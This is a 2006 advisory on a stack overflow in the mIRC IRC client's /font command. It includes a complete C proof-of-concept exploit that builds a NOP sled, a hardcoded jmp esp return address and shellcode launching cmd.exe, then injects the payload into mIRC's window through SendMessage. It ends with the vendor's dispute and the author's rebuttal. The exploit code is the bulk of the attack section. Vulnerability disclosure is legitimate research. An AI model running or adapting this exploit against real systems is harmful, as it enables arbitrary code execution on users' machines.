- 1 - Introduction
Written by Khaled Mardam-Bey, mIRC is a friendly IRC client that iswell
equipped with options and tools.
- 2 - Vulnerability description
This bug was discovered by a friend (Racy) , with the command exposedby Racy
only hung mIRC, but after debugging and
testing, I discover that allow code execution.Racy use this command /font -z
$readini(c:\a\a.ini,aaaaaaa ,aaaa)$readini(c:\a\a.ini,aaaaaaa ,aaaa) , in both
cases return
null and crash, if the first parameter it's null and the second a longstring
can overwrite the EIP and execute code, with
user privileges, DON'T ELEVATE PRIVILEGES.
- 3 - How to exploit it
This PoC open a cmd.exe,also it's possible execute any other code.
----------- CUT HERE ----------------------/*mircfontexploitXPSP2.c
This PoC it's for XP SP2 EnglishSpecial thanks to Racy from irc-hispano*/
#include <stdio.h>#include <stdlib.h>#include <windows.h>
int main () {HWND lHandle;char command[512]= "/font -z $null";char
strClass[30];char
buffer[128]="\x20\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90";
char
shellcode[999]="\x55""\x8B\xEC""\x33\xFF""\x57""\x83\xEC\x04""\xC6\x45\xF8\x63""\xC6\x45\xF9\x6D""\xC6\x45\xFA\x64""\xC6\x45\xFB\x2E""\xC6\x45\xFC\x65""\xC6\x45\xFD\x78""\xC6\x45\xFE\x65""\x8D\x45\xF8""\x50""\xBB\xc7\x93\xc2\x77""\xFF\xD3";
//Shellcode system("cmd.exe"), system in \xc7\x93\xc2\x77 0x77c293c7(WinXP Sp2
English)
char saltaoffset[]="\xD6\xD1\xE5\x77"; // jmp esp 0x77E5D1D6 (advapi32.dll)
SetForegroundWindow(lHandle);lHandle =
FindWindowEx(FindWindowEx(FindWindowEx(FindWindow("mIRC",NULL), 0, "MDIClient",
0),0, "mIRC_Status", 0), 0, "Edit
", 0);
if (!lHandle) { printf("Can't find mIRC\n"); return 0; }
strcat(buffer,saltaoffset);strcat(buffer,shellcode);strcat(command,buffer);printf("mIRC
Font Command Exploit: %s\n", command);
SendMessage(lHandle, WM_SETTEXT,0,(LPARAM)command);SendMessage (lHandle,
WM_IME_KEYDOWN, VK_RETURN, 0);}
----------- CUT HERE ----------------------
- 4 - Solution
Khaled contacted with me about the latest advisory, he says don't haveany bug,
any vulnerability.This is the solution of Khaled:"as far as I can tell, this is
neither an exploit nor a vulnerability.The above report describes a local bug
in mIRC. The
author of the report indicates that any malicious software on yourcomputer can
modify your mIRC settings to cause mIRC to
crash. But if you have malicious software on your computer, you'vealready
compromised your security..."
I post a response in the messageboard in mIRC forum, telling that aexploit
isn't a malicious software alone, isn't a trojan
or virus, and if a application it's secure, it's impossibly to executeany code,
the user don't compromise the machine if
download a exploit, the machine it's compromised if the program it'svulnerable
to the exploit, but Khaled delete it and
close the thread.
More info:
http://trout.snt.utwente.nl/ubbthreads/showflat.php?Cat=0&Number=146129&an=0&page=0#146129
- 5 - Credits
URL Vendor: www.mirc.comAuthor: Jordi Corrales ( crowdat[at]gmail.com )Date:
24/01/2006
Racy post on
messageboard:http://trout.snt.utwente.nl/ubbthreads/showflat.php?Cat=0&Board=bugreports&Number=118751Spanish
Advisory and Compiled Spanish
Exploit:http://cyruxnet.org/archivo.php?20060121.00
